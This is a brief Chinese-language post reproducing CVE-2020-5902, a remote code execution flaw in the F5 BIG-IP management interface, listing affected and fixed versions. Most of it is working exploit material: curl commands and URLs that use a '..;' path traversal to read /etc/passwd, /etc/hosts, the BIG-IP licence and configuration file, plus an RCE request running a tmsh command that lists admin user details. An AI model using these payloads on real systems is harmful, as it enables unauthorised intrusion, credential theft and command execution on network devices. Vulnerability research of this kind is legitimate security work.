cve-2020-5902 BIG-IP RCE漏洞復現&exp

簡介

BIG-IP的TMUI存在RCE漏洞

影響范圍

版本號主要如下
11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x

修復方法

升級
11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4

文件讀取poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

RCE poc

curl -v -k  'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

參考

1. https://twitter.com/x4ce/status/1279760648465870848